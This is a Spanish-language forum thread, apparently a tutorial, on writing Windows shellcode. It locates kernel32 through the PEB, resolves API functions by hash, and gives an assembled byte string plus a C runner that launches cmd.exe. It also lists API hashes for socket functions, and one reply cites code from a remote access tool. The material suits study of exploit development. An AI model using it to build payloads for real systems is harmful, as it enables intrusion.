[Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales"

Iniciado por lShadowl, 26 Febrero 2011, 14:16 PM

0 Miembros y 2 Visitantes están viendo este tema.

lShadowl

Creando una Shellcode
Direccion de kernel32 y calls especiales

Articulo previo: Creando una Shellcode

por lShadowl




Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.




Teoria

Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/

Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).

PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;


La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:

mov ebx,fs:[0x30]

podemos tener en 'eax' un puntero a PEB. Pero para que nos sirve tener acceso a PEB?

En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:
PPEB_LDR_DATA                 Ldr;

Ahora, veamos la estructura de PEB_LDR_DATA:

typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;


Bien, lo que nos interesa aqui es la list entry:

LIST_ENTRY InLoadOrderModuleList;

Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:


typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;


Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.




Encontrando la direccion de kernel32.dll

Para filtrar los datos del PEB partimos en tener un puntero a PEB:

mov ebx, fs:[0x30]

Ahora necesitamos apuntar a InLoadOrderModuleList de LDR
mov ebx, [ebx+0x0C]  ;puntero a LDR
mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList


Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32

mov ebx, [ebx]       
mov ebx, [ebx + 0x08] 


Entonces tendremos como codigo resultante:

xor ebx, ebx ;ebx a 0
mov ebx, fs:[0x30] ;apuntamos a PEB
mov ebx, [ebx+0x0C] ;LDR a edx
mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
mov ebx, [ebx]         
mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx


Comparemos como funciona vs GetModuleHandleA():

#include <windows.h>
#include <stdio.h>

int main()
{
DWORD kernelAdd;
printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
__asm{
xor ebx, ebx           
mov ebx, fs:[0x30] 
mov ebx, [ebx+0x0C] 
mov ebx, [ebx+0x1C] 
mov ebx, [ebx]         
mov ebx, [ebx+0x08] 
mov kernelAdd, ebx
}
printf("\ncon PEB: %8X", kernelAdd);
return 0;
}




Como podemos ver, las direcciones resultantes (en mi caso: "7C800000" //win XP Pro sp3) son identicas. El metodo funciona.




Mas teoria

Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta sección es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.

Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>



De estos campos nos interesaremos en la parte de los directorios de datos. >>



EAT - Export Address Table

La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un ?ndice basado en cero de 5.)

Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no est?adentro de la sección de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una direcci?n real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un s?mbolo en otro DLL.



Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.




Llamando a las APIs

El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos :D.

Analicemos como hacer las llamadas siguiendo los pasos anteriores:

api_call:
  pushad     ;registros a pila           
  mov ebp, esp         
  xor edx, edx         
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR 
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     
   
loop_modname:
  xor eax, eax           
  lodsb                 
  cmp al, 'a'        ;el nombre del modulo esta en minuscula     
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   
 
not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha   
  add edi, eax       ;el valor del hash     
  loop loop_modname  ;hasta ecx=0   
  push edx           ;Posicion     
  push edi           ;y hash del modulo actual a pila   
  mov edx, [edx+16]  ;direccion base del modulo a edx     
  mov eax, [edx+60]  ;cabecera PE a eax   
  add eax, edx         
  mov eax, [eax+120] ;EAT a eax   
  test eax, eax      ;hay EAT?   
  jz get_next_mod1   ;no, siguiente modulo   
  add eax, edx         
  push eax           ;EAT del modulo a pila 
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx   
  mov ebx, [eax+32]  ;RVA de las funciones a ebx   
  add ebx, edx         
 
get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo 
  dec ecx            ;numero de la funcion - 1   
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx           
  xor edi, edi           
 
loop_funcname:
  xor eax, eax       
  lodsb           ;byte por byte del nombre de la funcion en ASCII     
  ror edi, 13     ;buscamos     
  add edi, eax    ;el caracter     
  cmp al, ah      ;nulo que indica el final de la cadena     
  jne loop_funcname ;hasta tener el hash completo de la funcion   
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion   
  cmp edi, [ebp+36] ;es la que buscamos?   
  jnz get_next_func ;no, sigamos con la siguiente funcion   
 
  pop eax           ;EAT del modulo a eax   
  mov ebx, [eax+36] ;conseguimos RVA     
  add ebx, edx      ;le a?adimos la direccion base del modulo     
  mov cx, [ebx+2*ecx]   
  mov ebx, [eax+28]  ;RVA de la funciones a ebx   
  add ebx, edx       ;le a?adimos la direccion base del modulo 
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax 
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax

tenemos la direccion virtual de la funcion   
 
finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor

anterior   
  pop ebx        ;arreglamos la pila       
  pop ebx               
  popad               
  pop ecx               
  pop edx               
  push ecx             
  jmp eax        ;llamamos a la funcion       
     
get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax 
   
get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax       
  pop edx         ;posicion donde quedamos en la lista de modulos a edx     
  mov edx, [edx]  ;puntero al siguiente modulo     
  jmp short next_mod
  ;Harmony Security


Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:

[BITS 32]

  cld        ;bandera de direccion a cero           
  call start ;puntero de api_call a la pila   
   
api_call:
;(...) 
;codigo de api_call
;(...)

start:
  pop ebp         ;puntero de api_call a ebp     
     
  jmp command     ;comando a ejecutar va a pila

exec:   
  push 0x876F8B31 ;hash para WinExec a pila     
  call ebp        ;llamamos a api_call       
   
  push 0x56A2B5F0 ;hash para ExitProcess a pila       
  call ebp        ;llamamos a api_call     

command:
  call exec
  db "cmd.exe ", 0



Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:

char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}


Funciona?



Si funciono.

Algunos hashes muy usados:

0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA"
0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv"
0x5F38EBC2, "ws2_32.dll!send"

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle"
0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject"
0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread"

0x6F721347, "ntdll.dll!RtlExitUserThread"

0x23E38427, "advapi32.dll!RevertToSelf"


Saludos!

Linux Registered User #473016

Sarcasm....because arguing with stupid people is not nearly as fun.
-INTJ

3mp3z@ndo

Muy buenos los tutos lShadowl, pero me gustaria saber como puedo obtener los hashes de las apis, he encontrado listas con muchisimos hashes pero no tengo ni idea de como obtener esos hashes por mi mismo

Saludos

jackgris

lShadowl la verdad que me parece muy bueno tu taller, creo que habria que crear un post con enlase a todos los tutos que has hecho y donde se vallan agregando los nuevos y a ese ponerle una chicheta  ;-) ;-) ;-) ;-)

Karcrack

Muy interesante para quienes comienzan ;)
Yo acortaria el codigo para extraer la direccion base de K32 y lo dejaria asi:
Código (asm) [Seleccionar]
cdq                     ;//EDX=0
mov edx, [fs:edx+$30]   ;//EDX=&PEB
...
...


Aunque ese metodo no funcionaria en W$7 ya que "KernelBase.dll" se carga antes que "Kernel32.dll"... Esta es una version funcional en todos los W$>=2000 hecha por mi para el StealthRat :):
Código (asm) [Seleccionar]
RetrieveK32:
       xor eax, eax            ;//EAX=0
       mov esi, [fs:eax+0x30]  ;//ESI=&PEB
       mov esi, [esi+0xC]      ;//ESI=PEB->PPEB_LDR_DATA
       mov esi, [esi+0x1C]     ;//ESI=&PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[0]
next_module:
       mov eax, [esi+0x08]     ;//EAX=PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[X].base_address
       mov edi, [esi+0x20]     ;//EDI=PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[X].module_name (unicode)
       mov esi, [esi]          ;//ESI==PEB->PPEB_LDR_DATA->InInitializationOrderModuleList[X].flink (NextModule)
       cmp BYTE[edi+6*2], '3'  ;//module_name[6]='3'?
       je find_kernel32_finished
       jmp next_module
find_kernel32_finished:
       ret          

Иōҳ

Una mirada rapida...

Citarmov ebx, [ebx+0x0C]  ;puntero a LDR
      mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

En realidad no estas moviendo el puntero a InLoadOrderModuleList si no a InInitializationOrderModuleList si haces cuenta, cuantos bytes estas sumando, veraz que no, dejame decirte queno todo lo que la msdn dice debes creer xD.

InInitializationOrderModuleList es como InLoadOrderModuleList pero en orden de inicialización.

http://undocumented.ntinternals.net/UserMode/Structures/PEB_LDR_DATA.html

Salu2!
Eres adicto a la Ing. Inversa? -> www.noxsoft.net

xassiz~

Cita de: 3mp3z@ndo en 27 Febrero 2011, 00:48 AM
Muy buenos los tutos lShadowl, pero me gustaria saber como puedo obtener los hashes de las apis, he encontrado listas con muchisimos hashes pero no tengo ni idea de como obtener esos hashes por mi mismo

Saludos
Quizás te sirva esto.

Saludos!

3mp3z@ndo

Cita de: ~xassiz en  1 Marzo 2011, 22:39 PM
Quizás te sirva esto.

Saludos!

Gracias ~xassiz, pero lo que me indicas si no me equivoco lo que hace es darme el offset (dirección) de la función con LoadLibrary y GetProcAddress, yo me refiero al mecanismo de hashear los nombres de las funciones, no lo tengo claro porque he visto distintas formas de hacerlo que resultan en distintos hashes para la misma funcion, pero bueno lo que yo buscaba que era como obtenia los hashes el autor del codigo (Stephen Fewer de Harmony Security) ya lo encontré, que es con un script en python que trae el Metasploit, por si a alguien más le interesa lo explica aquí:

http://seclists.org/metasploit/2010/q2/378

es necesario el modulo pefile para python:

http://code.google.com/p/pefile/wiki/UsageExamples

y modificar el codigo para darle la ruta donde se ha instalado el modulo, y ya te da todos los hashes de las funciones que le pidas

Saludos